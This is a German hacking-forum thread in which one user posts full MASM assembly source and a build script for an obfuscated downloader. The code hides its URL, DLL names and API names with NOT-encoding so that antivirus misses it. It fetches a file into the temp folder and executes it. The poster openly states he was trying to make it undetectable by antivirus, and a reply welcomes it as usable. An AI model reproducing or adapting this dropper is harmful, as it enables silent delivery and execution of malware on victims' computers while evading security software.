[B] ASM File Downloader

[blackberry]

Ich habs nicht geschafft das ganze UD zu bekommen (18/32) also poste ich einfach mal den Quellcode falls es Jemanden interessiert (damit es nicht ganz umsonst war ^^)...

Ich habe versucht über eine simple NOT-Verknüpfungs-Verschlüsselung den Downloader etwas zu verschleiern (hat auch bei ein paar AVs geklappt).
Um den downloadURL zu ändern muss er erstmal kodiert werden (ich habe ein C code snippet dafür über der url definition angehängt).
Vom URL wird dann der Dateiname extrahiert und an GetTempPath angefügt.
Der momentane downloadURL ist http://www.google.de/index.html.

Als compiler (sowie linker) habe ich MASM verwendet.
Hier ist compile.bat

ECHO OFF
DEL downloader.exe
CLS

ml /c /coff downloader.asm

ECHO.
ECHO.

link /subsystem:windows downloader

DEL downloader.obj

PAUSE


und hier ist downloader.asm

;;;;;; ASM File Downloader v0.1
;;;;;; by BlackBerry


.386
.MODEL FLAT, STDCALL
OPTION CASEMAP :NONE

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\urlmon.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\urlmon.lib

.DATA?
buffsz DD ?
hdl DD ?
hfc DD ?
.DATA
urlsz DD 31
; ENCODED URL ( buffer[] = "URL"; for(int x=0;x<strlen(buffer);x++) buffer[x] = ~buffer[x]; )
url DB 151, 139, 139, 143, 197, 208, 208, 136, 136, 136, 209, 152, 144, 144, 152, 147, 154, 209, 155, 154, 208, 150, 145, 155, 154, 135, 209, 151, 139, 146, 147, 255, 255, 255

buffer DB 200 DUP(?)
dll1 DB 148, 154, 141, 145, 154, 147, 204, 205, 255 ; SZ = 8
dll2 DB 138, 141, 147, 146, 144, 145, 255 ; SZ = 6
dll3 DB 140, 151, 154, 147, 147, 204, 205, 255 ; SZ = 7
fnc1 DB 184, 154, 139, 171, 154, 146, 143, 175, 158, 139, 151, 190, 255 ; SZ = 12
fnc2 DB 170, 173, 179, 187, 144, 136, 145, 147, 144, 158, 155, 171, 144, 185, 150, 147, 154, 190, 255 ; SZ = 18
fnc3 DB 172, 151, 154, 147, 147, 186, 135, 154, 156, 138, 139, 154, 190, 255 ; SZ = 13
.CODE
Start1:
decode1 MACRO data, sz
LOCAL Loop0, EndLoop0
pusha
mov eax, sz
Loop0:
mov ebx, OFFSET data
add ebx, eax
mov dl, [ebx]
not dl
mov byte ptr [ebx], dl

cmp eax, 0
je EndLoop0

dec eax

jmp Loop0
EndLoop0:
popa
ENDM

check1 MACRO data
mov data, eax
cmp data, 0
je Exit1
ENDM

decode1 url, urlsz
decode1 dll1, 8
decode1 dll2, 6
decode1 dll3, 7
decode1 fnc1, 12
decode1 fnc2, 18
decode1 fnc3, 13

invoke LoadLibrary, ADDR dll1
check1 hdl
invoke GetProcAddress, hdl, ADDR fnc1
check1 hfc
; invoke GetTempPath, 200, ADDR buffer
push OFFSET buffer
push 200
call dword ptr hfc

; get extension
mov eax, urlsz
Loop1:
dec eax

mov ebx, OFFSET url
add ebx, eax
mov dl, [ebx]

cmp dl, 47
je EndLoop1

cmp eax, 0
je Exit1

jmp Loop1
EndLoop1:

; write extension
Loop2:
inc eax
mov edx, OFFSET url
add edx, eax
mov dl, [edx]

mov ebx, OFFSET buffer
add ebx, buffsz
inc buffsz
mov byte ptr [ebx], dl

cmp eax, urlsz
je EndLoop2
jmp Loop2
EndLoop2:

invoke LoadLibrary, ADDR dll2
check1 hdl
invoke GetProcAddress, hdl, ADDR fnc2
check1 hfc
; invoke URLDownloadToFile, 0, ADDR url, ADDR buffer, 0, 0
push 0
push 0
push OFFSET buffer
push OFFSET url
push 0
call dword ptr hfc
cmp eax, S_OK
jne Exit1

invoke LoadLibrary, ADDR dll3
check1 hdl
invoke GetProcAddress, hdl, ADDR fnc3
check1 hfc
; invoke ShellExecute, NULL, NULL, ADDR buffer, NULL, NULL, SW_SHOW
push SW_SHOW
push NULL
push NULL
push OFFSET buffer
push NULL
push NULL
call dword ptr hfc

Exit1:
invoke ExitProcess, 0
END Start1

Würde mich über feedback freuen :)


mfG. BlackBerry

[KingLSD]

nice nice ;) kann ich gut gebrauchen.. bin vor zwei tagen mit ASM angefangen :D (Kanns auch schon sehr gut.. jaja klingt schnell.. aber ich bin noch jung und mein gehirn lernfähig :D )